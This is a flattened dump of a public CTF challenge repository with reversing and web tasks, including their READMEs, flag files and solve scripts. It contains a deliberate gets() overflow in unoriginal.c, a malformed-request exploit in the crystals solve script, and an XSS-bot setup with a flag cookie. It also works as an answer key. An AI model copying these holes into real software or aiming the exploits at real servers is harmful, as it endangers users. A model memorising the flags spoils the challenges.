describe" your project))) 25 | 26 | ; See the complete stanza docs at https://dune.readthedocs.io/en/stable/reference/dune-project/index.html 27 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/oh_a_camel.opam: -------------------------------------------------------------------------------- 1 | # This file is generated by dune, edit dune-project instead 2 | opam-version: "2.0" 3 | synopsis: "A short synopsis" 4 | description: "A longer description" 5 | maintainer: ["Maintainer Name"] 6 | authors: ["Author Name"] 7 | license: "LICENSE" 8 | tags: ["topics" "to describe" "your" "project"] 9 | homepage: "https://github.com/username/reponame" 10 | doc: "https://url/to/documentation" 11 | bug-reports: "https://github.com/username/reponame/issues" 12 | depends: [ 13 | "ocaml" 14 | "dune" {>= "3.16"} 15 | "cryptokit" 16 | "odoc" {with-doc} 17 | ] 18 | build: [ 19 | ["dune" "subst"] {dev} 20 | [ 21 | "dune" 22 | "build" 23 | "-p" 24 | name 25 | "-j" 26 | jobs 27 | "@install" 28 | "@runtest" {with-test} 29 | "@doc" {with-doc} 30 | ] 31 | ] 32 | dev-repo: "git+https://github.com/username/reponame.git" 33 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/preprocess.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | sed -e "s/\[| (\*MAZE\*) |\]/$(cat maze.txt)/" -e "s/\"\"(\*FLAG\*)/$(cat flag.enc.txt)/" bin/main.ml -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/test/dune: -------------------------------------------------------------------------------- 1 | (test 2 | (name test_oh_a_camel)) 3 | -------------------------------------------------------------------------------- /Reversing/oh_a_camel/challenge/src/test/test_oh_a_camel.ml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/oh_a_camel/challenge/src/test/test_oh_a_camel.ml -------------------------------------------------------------------------------- /Reversing/printf/README.md: -------------------------------------------------------------------------------- 1 | # printf 2 | **Category**: Reversing 3 | **Difficulty**: Medium-Hard 4 | **Author**: Eth007 5 | 6 | # Description 7 | `%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn` 8 | 9 | # Distribution 10 | - `printf` 11 | - `libc.so.6` 12 | 13 | # Solution 14 | 15 | The program checks each four characters of the flag, summed and multiplied by other numbers, against numbers generated by an LCG. This equates to equations in the form `a*f[0] + b*f[1] + c*f[2] + d*f[3]`. We can use z3 or lattices to solve these equations, and get the flag. 16 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | (head printf.c -c `echo "$(wc -c printf.c | grep -o '[0-9]*') - 1" | bc` && python3 gen.py | tr -d '\n' && cat end.c) > a.c 3 | gcc a.c -o printf -s 4 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/dump -------------------------------------------------------------------------------- /Reversing/printf/challenge/end.c: -------------------------------------------------------------------------------- 1 | "); 2 | } 3 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{n3v3r_too_m4ny_form4t_sp3cifi3rs_9a7837294d1633140433f51d13a033736} 2 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/libc.so.6 -------------------------------------------------------------------------------- /Reversing/printf/challenge/printf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/printf -------------------------------------------------------------------------------- /Reversing/printf/challenge/process_dump.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ctypes import CDLL 3 | 4 | base = 0x0000555555554000 5 | a = open("dump", "rb").read() 6 | libc = CDLL(None) 7 | 8 | def rand64(): 9 | return libc.rand() + (libc.rand() << 32) 10 | 11 | out = b"" 12 | for i in range(0, len(a), 8): 13 | if a[i:i+8] == b"\0"*8: 14 | out += p64(u64(a[i:i+8]) ^ rand64()) 15 | else: 16 | out += p64((u64(a[i:i+8])+0x0000555555554000) ^ rand64()) 17 | 18 | print(out.hex()) 19 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/solve/__pycache__/solvelinmod.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/solve/__pycache__/solvelinmod.cpython-310.pyc -------------------------------------------------------------------------------- /Reversing/printf/challenge/solve/solve.sage: -------------------------------------------------------------------------------- 1 | import solvelinmod 2 | import random 3 | 4 | ords = [random.getrandbits(64) for n in range(4)] 5 | flag = b"ictf" 6 | out = 0 7 | for m,n in zip(ords,flag): 8 | out += m*n 9 | out %= 2**64 10 | 11 | #ords = [14256968251852713, 5856782038711004, 13348175324113344, 8795510881355283] 12 | 13 | 14 | x0 = var('x0') 15 | x1 = var('x1') 16 | x2 = var('x2') 17 | x3 = var('x3') 18 | #eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == 4522333535772311031) 19 | eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == out) 20 | bounds = {x0: 2**8, x1: 2**8, x2: 2**8, x3: 2**8} 21 | 22 | sol = solvelinmod.solve_linear_mod([(eq, 2**64)], bounds) 23 | print(f'{sol = }') 24 | -------------------------------------------------------------------------------- /Reversing/printf/challenge/solve/solve.sage.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # This file was *autogenerated* from the file solve.sage 4 | from sage.all_cmdline import * # import sage library 5 | 6 | _sage_const_64 = Integer(64); _sage_const_4 = Integer(4); _sage_const_0 = Integer(0); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1); _sage_const_3 = Integer(3); _sage_const_8 = Integer(8) 7 | import solvelinmod 8 | import random 9 | 10 | ords = [random.getrandbits(_sage_const_64 ) for n in range(_sage_const_4 )] 11 | flag = b"ictf" 12 | out = _sage_const_0 13 | for m,n in zip(ords,flag): 14 | out += m*n 15 | out %= _sage_const_2 **_sage_const_64 16 | 17 | #ords = [14256968251852713, 5856782038711004, 13348175324113344, 8795510881355283] 18 | 19 | 20 | x0 = var('x0') 21 | x1 = var('x1') 22 | x2 = var('x2') 23 | x3 = var('x3') 24 | #eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == 4522333535772311031) 25 | eq = (ords[_sage_const_0 ]*x0 + ords[_sage_const_1 ]*x1 + ords[_sage_const_2 ]*x2 + ords[_sage_const_3 ]*x3 == out) 26 | bounds = {x0: _sage_const_2 **_sage_const_8 , x1: _sage_const_2 **_sage_const_8 , x2: _sage_const_2 **_sage_const_8 , x3: _sage_const_2 **_sage_const_8 } 27 | 28 | sol = solvelinmod.solve_linear_mod([(eq, _sage_const_2 **_sage_const_64 )], bounds) 29 | print(f'{sol = }') 30 | 31 | -------------------------------------------------------------------------------- /Reversing/rust/README.md: -------------------------------------------------------------------------------- 1 | # Rust 2 | 3 | **Category**: Rev **Difficulty**: Medium **Author**: NoobMaster 4 | 5 | # Description 6 | 7 | Rust! Enjoy :) Note: The message that produces the provided encryption is the flag. 8 | 9 | # Distributions 10 | - `challenge/rust` 11 | - `challenge/output.txt` 12 | 13 | # Solution 14 | 15 | After analyzing the binary, we see that it is taking input for a message and a key. It decodes the key from hex and then calls the encrypt function, providing the message and the key as arguments (and some unknown arguments, rust being rust). We can see the encrypt functions, when meeting some conditions, prints a local variable and then returns. The local variable's value is taken from another local variable (let's call it `enc_array`). Looking at the entire function, the code performs some encryption on each byte and then pushes a certain value to `enc_array`. We can reverse these encryptions and use our knowledge of the flag format (`ictf{`) to find the key. Once we find the key, we can decrypt the entire message! Solve at `challenge/solve.py` 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /Reversing/rust/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{ru57_r3v_7f4d3a} 2 | -------------------------------------------------------------------------------- /Reversing/rust/challenge/output.txt: -------------------------------------------------------------------------------- 1 | Enter the message:REDACTED 2 | Enter the key (in hex): REDACTED 3 | Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823] 4 | -------------------------------------------------------------------------------- /Reversing/rust/challenge/rust: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/rust/challenge/rust -------------------------------------------------------------------------------- /Reversing/rust/challenge/solve.py: -------------------------------------------------------------------------------- 1 | enc = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823] 2 | flag = '' 3 | key = ((~enc[0])-1337)^(ord('i')<<5>>3) # Using the flag format to find the key 4 | print(key) 5 | for i in enc: 6 | flag += chr((((~i)-1337)^key)<<3>>5) # Decrypting the entire message using the key 7 | 8 | print(flag) -------------------------------------------------------------------------------- /Reversing/svm_revenge/README.md: -------------------------------------------------------------------------------- 1 | # SVM Revenge 2 | **Category:** Reversing 3 | **Difficulty:** Medium/Hard 4 | **Author:** lodsb 5 | 6 | ## Description 7 | 8 | As foretold, the revenge of SVM from round 46 is here! 9 | 10 | ## Distribution 11 | 12 | - the players should get a copy of `svm_revenge` and `output.bin` 13 | 14 | ## Solution 15 | 16 | Figure out that the VM uses a queue to perform all operations. Reverse-engineer the VM's bytecode and figure out that for each block of 16 characters it generates 16 linear equations mod 256. Solve the system of equations for each block to recover the flag. 17 | -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | *.py 2 | -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | sage generate_program.sage 3 | gcc -Wall -Wextra -Wpedantic -O0 -o svm_revenge svm_revenge.c 4 | strip svm_revenge 5 | ./svm_revenge 6 | -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{S_d1dnt_5t4nd_f0r_5t4ck_b3c4u53_h3r3_I_us3d_4_L1nk3d_qu3u3} -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/generate_program.sage: -------------------------------------------------------------------------------- 1 | program = [] 2 | 3 | for i in range(1, 17): 4 | program.append('POP') 5 | program.append(str(i)) 6 | 7 | # program.append('TRAP') 8 | # program.append('0') 9 | 10 | mat = None 11 | 12 | while mat is None or gcd(mat.determinant(), 256) != 1: 13 | mat = matrix.random(Zmod(256), 16) 14 | 15 | with open('matrix.dump', 'wb') as f: 16 | f.write(dumps(mat)) 17 | 18 | for i, row in enumerate(mat): 19 | initer = [] 20 | # initer.append('TRAP') 21 | # initer.append(str(i + 1)) 22 | c = 0 23 | for j, n in enumerate(row, start=1): 24 | if n == 0: 25 | continue 26 | c += 1 27 | initer.append('PUSH') 28 | initer.append(str(j)) 29 | initer.append('PUSH_IMM') 30 | initer.append(str(n)) 31 | reducer = [] 32 | for j in range(c): 33 | reducer += ['MUL', str(randint(0, 127))] 34 | for j in range(c - 1): 35 | reducer += ['ADD', str(randint(0, 127))] 36 | program += initer + reducer + ['POP', str(i + 17)] 37 | 38 | for i in range(1, 17): 39 | program.append('PUSH') 40 | program.append(str(i + 16)) 41 | 42 | program.append('HALT') 43 | program.append('0') 44 | 45 | with open('program.h', 'wt') as f: 46 | f.write(f"static uint8_t PROGRAM[] = {{ {', '.join(program)} }};") 47 | -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/matrix.dump: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/matrix.dump -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/output.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/output.bin -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/solve.sage: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | with open('output.bin', 'rb') as f: 4 | data = f.read() 5 | 6 | mat = loads(open('matrix.dump', 'rb').read()).inverse() 7 | 8 | # numbers = list(struct.unpack('<' + 'i' * 64, data)) 9 | numbers = list(struct.unpack('<' + 'b' * 64, data)) 10 | 11 | chars = [] 12 | 13 | for i in range(0, 64, 16): 14 | v = vector(numbers[i:i+16]) 15 | chars += list(mat * v) 16 | 17 | print(bytes(chars).decode()) 18 | -------------------------------------------------------------------------------- /Reversing/svm_revenge/challenge/svm_revenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/svm_revenge -------------------------------------------------------------------------------- /Reversing/unconditional/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{m0r3_than_1_way5_t0_c0n7r0l} -------------------------------------------------------------------------------- /Reversing/unconditional/readme.md: -------------------------------------------------------------------------------- 1 | # unconditional 2 | **Category:** Rev 3 | **Difficulty:** medium/hard 4 | **Author:** Minerva. 5 | 6 | ## Description 7 | Can you reverse this flag mangler? The output is `b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b` 8 | 9 | The input only contains lowercase letters, numbers, underscore, and braces {}. 10 | 11 | ## Distribution 12 | 13 | - `togive/chal` 14 | 15 | ## Solution 16 | TBD. 17 | -------------------------------------------------------------------------------- /Reversing/unconditional/togive/.s: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Reversing/unconditional/togive/chal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/unconditional/togive/chal -------------------------------------------------------------------------------- /Reversing/unoriginal/README.md: -------------------------------------------------------------------------------- 1 | # unoriginal 2 | **Category**: Reversing 3 | **Difficulty**: Easy 4 | **Author**: Eth007 5 | 6 | # Description 7 | i like elf reversing 8 | 9 | # Distributions 10 | - `unoriginal` 11 | 12 | # Solution 13 | - XOR each character by 5. 14 | - solve.py 15 | -------------------------------------------------------------------------------- /Reversing/unoriginal/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc unoriginal.c -o unoriginal 3 | -------------------------------------------------------------------------------- /Reversing/unoriginal/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{just_another_flag_checker_a3465d5e5ee234ba} 2 | -------------------------------------------------------------------------------- /Reversing/unoriginal/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | enc = b"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx" 4 | print(xor(enc, 5)) 5 | -------------------------------------------------------------------------------- /Reversing/unoriginal/challenge/unoriginal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/unoriginal/challenge/unoriginal -------------------------------------------------------------------------------- /Reversing/unoriginal/challenge/unoriginal.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | char buf[42]; 7 | printf("Enter your flag here: "); 8 | gets(buf); 9 | for (int i=0; i<48; i++) { 10 | buf[i] ^= 5; 11 | } 12 | if (strcmp(buf, "lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx") == 0) { 13 | puts("Correct!"); 14 | return 0; 15 | } 16 | else { 17 | puts("Incorrect."); 18 | return 0; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Reversing/vokram/README.md: -------------------------------------------------------------------------------- 1 | # vokram 2 | **Category:** Reversing 3 | **Difficulty:** Medium/Hard 4 | **Author:** maple3142 5 | 6 | ## Description 7 | 8 | Can you find what this (very inefficient) VM is doing? 9 | 10 | ## Distribution 11 | 12 | - `vm.py` 13 | - `check_flag.vokram` 14 | 15 | ## Solution 16 | 17 | The VM implements [Markov algorithm](https://en.wikipedia.org/wiki/Markov_algorithm), and the flag checker does these steps: 18 | 19 | 1. Convert the flag into a ternary string 20 | 2. Apply (mod 3) lfsr state transition `N` times 21 | 3. Check if the result matches a certain ternary string 22 | 23 | So you can find the `N` and the lfsr taps by analyzing the substitution rules, then it is easy to reverse the state transition and get the flag. 24 | 25 | It is possible to inspect the intermediate states and solve a linear equation to find its transition matrix instead. 26 | -------------------------------------------------------------------------------- /Reversing/vokram/challenge/vm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | def vokram(text, program): 3 | while True: 4 | for pat, repl, stop in program: 5 | if pat in text: 6 | text = text.replace(pat, repl, 1) 7 | if stop: 8 | return text 9 | break 10 | else: 11 | return text 12 | 13 | 14 | def parse(source): 15 | program = [] 16 | for line in source.strip().splitlines(): 17 | pat, repl = line.split(":", 1) 18 | stop = False 19 | if len(repl) > 0 and repl[0] == ":": 20 | repl = repl[1:] 21 | stop = True 22 | if ":" in repl: 23 | raise ValueError("invalid rule: %r" % line) 24 | program.append((pat, repl, stop)) 25 | return program 26 | 27 | 28 | if __name__ == "__main__": 29 | import sys 30 | 31 | source_file = sys.argv[1] 32 | input_str = sys.argv[2] 33 | with open(source_file) as f: 34 | program = parse(f.read()) 35 | print(vokram(input_str, program)) 36 | -------------------------------------------------------------------------------- /Reversing/watchdog/README.md: -------------------------------------------------------------------------------- 1 | # watchdog 2 | **Category**: Reversing 3 | **Difficulty**: Easy-Medium 4 | **Author**: cleverbear57 5 | 6 | # Description 7 | The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it? 8 | 9 | # Distributions 10 | - `watchdog` 11 | 12 | # Solution 13 | - solve.py 14 | -------------------------------------------------------------------------------- /Reversing/watchdog/challenge/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ watchdog.cpp -o watchdog 3 | -------------------------------------------------------------------------------- /Reversing/watchdog/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0} 2 | -------------------------------------------------------------------------------- /Reversing/watchdog/challenge/solve.sage: -------------------------------------------------------------------------------- 1 | import solvelinmod 2 | 3 | mod=2**64 4 | res=[924303399913049,2830611888841555553,11417572481992307149,9399377228148865497,4466300653933784009,6929356405062948441,1060599744128290109,2413293955258720417,12532996834583759385,924446205882046577,953636631316484173,8178891442779449225,5149328285628553929,14848938488663696553,10695623300750768253,331402136485900945,7526029785593005913,528067901588867841,17934877594923492173,1823014476946146745,4474927539439552841,11848375034122087289,14775913573091536445,6221187839989261569,8706220284657781273,12220531501790844433,6881877824236885709,1709544903114568809,13840396538186662729,1672874960389122761,12890717860805876349,12512590028788979697,17022931942054141529,4432258044383820193,17829278568412944077,15934592270780519321,9284508610800604361,8084337873092305561,9905442585384757565,9968445791360002913,2334598992640348185,11395810839179523505,16674150723980103501,1359876212648330057] 5 | 6 | flag = [var('flag_%d' % i) for i in range(43)] 7 | equations=[] 8 | for x,r in zip(range(2,46),res): 9 | eq=0 10 | for i,c in enumerate(flag[::-1]): 11 | eq+=c * int(pow(x,i,mod)) 12 | equations.append((eq == r,mod)) 13 | print(f"entered f({x}) = {r}") 14 | 15 | bounds = {flag[i]:2**8 for i in range(43)} 16 | 17 | sol = solvelinmod.solve_linear_mod(equations, bounds) 18 | 19 | out = [] 20 | for i in flag: 21 | out.append(sol[i]) 22 | print(bytes(out)) 23 | -------------------------------------------------------------------------------- /Reversing/watchdog/challenge/watchdog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/watchdog/challenge/watchdog -------------------------------------------------------------------------------- /Web/crystals/README.md: -------------------------------------------------------------------------------- 1 | # crystals 2 | **Category:** Web 3 | **Difficulty:** Easy-Medium 4 | **Author:** FIREPONY57 5 | 6 | ## Description 7 | 8 | Al₂O₃ 9 | 10 | ## Distribution 11 | 12 | - `crystals_release.zip` 13 | - web link (no kctf) 14 | 15 | ## Solution 16 | 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Web/crystals/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update && apt-get -y install ruby nginx 4 | RUN gem install sinatra 5 | RUN gem install rackup 6 | 7 | COPY app /app 8 | RUN chmod +x /app/run.sh 9 | COPY conf/nginx.conf /etc/nginx/nginx.conf 10 | 11 | EXPOSE 80 12 | 13 | CMD ["/app/run.sh"] 14 | -------------------------------------------------------------------------------- /Web/crystals/challenge/app/app.rb: -------------------------------------------------------------------------------- 1 | require 'sinatra' 2 | 3 | # Route for the index page 4 | get '/' do 5 | erb :index 6 | end 7 | -------------------------------------------------------------------------------- /Web/crystals/challenge/app/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ruby /app/app.rb & 4 | /usr/sbin/nginx -g "daemon off;" 5 | -------------------------------------------------------------------------------- /Web/crystals/challenge/conf/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | include /etc/nginx/modules-enabled/*.conf; 5 | 6 | events { 7 | worker_connections 768; 8 | multi_accept on; 9 | } 10 | 11 | http { 12 | 13 | server { 14 | listen 80; 15 | server_name 127.0.0.1 localhost; 16 | location / { 17 | proxy_pass http://127.0.0.1:4567; 18 | } 19 | 20 | } 21 | 22 | sendfile on; 23 | tcp_nopush on; 24 | types_hash_max_size 2048; 25 | server_tokens off; 26 | 27 | # server_names_hash_bucket_size 64; 28 | # server_name_in_redirect off; 29 | 30 | include /etc/nginx/mime.types; 31 | default_type application/octet-stream; 32 | 33 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE 34 | ssl_prefer_server_ciphers on; 35 | 36 | access_log /var/log/nginx/access.log; 37 | error_log /var/log/nginx/error.log; 38 | 39 | gzip on; 40 | 41 | # gzip_proxied any; 42 | # gzip_comp_level 6; 43 | # gzip_buffers 16 8k; 44 | # gzip_http_version 1.1; 45 | # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /Web/crystals/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.3' 2 | services: 3 | deployment: 4 | hostname: $FLAG 5 | build: . 6 | ports: 7 | - 10001:80 8 | -------------------------------------------------------------------------------- /Web/crystals/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{seems_like_you_broke_it_pretty_bad_76a87694} 2 | -------------------------------------------------------------------------------- /Web/crystals/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | conn = remote("localhost", 10001) 4 | 5 | conn.sendline("""GET /? XTTP/1.1 6 | Host: 127.0.0.1 7 | Connection: close""") 8 | 9 | conn.interactive() 10 | -------------------------------------------------------------------------------- /Web/crystals/crystals_release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/crystals/crystals_release.zip -------------------------------------------------------------------------------- /Web/forms/README.md: -------------------------------------------------------------------------------- 1 | # Forms 2 | **Category:** Web 3 | **Difficulty:** Medium/Hard 4 | **Author:** lodsb 5 | 6 | ## Description 7 | 8 | Check out an early development version of our forms application! 9 | 10 | ## Distribution 11 | 12 | - url 13 | - forms.tar.gz (app, Dockerfile and requirements.txt with the flag removed) 14 | 15 | ## Solution 16 | 17 | Based on https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/. There is no charset meta tag and the `fail` function overwrites `Content-Type` header to not include charset. See `solve.py` for an example solution. -------------------------------------------------------------------------------- /Web/forms/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "forms" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 5000 14 | healthcheck: 15 | enabled: true 16 | image: eu.gcr.io/imaginaryctf-2023/forms-healthcheck:f924b21037ef38c7220ce4c34c542c197716c3c6e2c954ca605b705a4e1ba759 17 | image: eu.gcr.io/imaginaryctf-2023/forms-challenge:3a7cf3083803a5d38b1039333271903b2e54329cfcc53362419b1b14dd32e581 18 | -------------------------------------------------------------------------------- /Web/forms/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | .venv 2 | instance -------------------------------------------------------------------------------- /Web/forms/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12.4-bookworm 2 | 3 | ARG DEBIAN_FRONTEND=noninteractive 4 | # borrowed from https://github.com/dimmg/dockselpy/blob/master/Dockerfile 5 | RUN BUILD_DEPS="curl unzip" && \ 6 | apt-get update && apt-get install --no-install-recommends -y \ 7 | wget \ 8 | fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 \ 9 | libnspr4 libnss3 lsb-release xdg-utils libxss1 libdbus-glib-1-2 libgbm1 \ 10 | $BUILD_DEPS \ 11 | xvfb && \ 12 | GECKODRIVER_VERSION='v0.34.0' && \ 13 | wget https://github.com/mozilla/geckodriver/releases/download/$GECKODRIVER_VERSION/geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz && \ 14 | tar -zxf geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz -C /usr/local/bin && \ 15 | chmod +x /usr/local/bin/geckodriver && \ 16 | rm geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz 17 | 18 | WORKDIR /app 19 | COPY requirements.txt . 20 | COPY app app 21 | RUN pip install -r requirements.txt 22 | RUN pip install gunicorn 23 | 24 | VOLUME /tmp/ 25 | VOLUME /app/ 26 | VOLUME /root/ 27 | 28 | CMD python3 -m flask run -h 0.0.0.0 29 | -------------------------------------------------------------------------------- /Web/forms/challenge/app/.dockerignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /Web/forms/challenge/app/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /Web/forms/challenge/app/__init__.py: -------------------------------------------------------------------------------- 1 | from .main import app -------------------------------------------------------------------------------- /Web/forms/challenge/app/bot.py: -------------------------------------------------------------------------------- 1 | from secrets import token_hex 2 | from selenium.webdriver import Firefox, FirefoxOptions 3 | from selenium.webdriver.common.by import By 4 | from selenium.webdriver.support import expected_conditions as EC 5 | from selenium.webdriver.support.ui import WebDriverWait 6 | import time 7 | from uuid import UUID 8 | 9 | BASE_URL = 'http://localhost:5000' 10 | 11 | 12 | def visit(id, questions_to_fill): 13 | print(f'Visiting {id}') 14 | options = FirefoxOptions() 15 | options.add_argument('--headless') 16 | browser = Firefox(options=options) 17 | browser.set_page_load_timeout(10) 18 | try: 19 | browser.get(BASE_URL) 20 | browser.add_cookie({'name': 'flag', 'value': 'ictf{jp_2022_such_4_c00l_3nc0d1ng}'}) 21 | browser.get(f'{BASE_URL}/form/fill/{id}') 22 | 23 | for q in questions_to_fill: 24 | question = browser.find_element(By.NAME, q) 25 | question.send_keys(token_hex(8)) 26 | 27 | button = browser.find_element(By.NAME, 'submit') 28 | button.click() 29 | time.sleep(10) 30 | finally: 31 | browser.quit() 32 | -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/admin_confirmation.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Done!{% endblock %} 4 | 5 | {% block content %} 6 |

The admin will fill in your form soon!

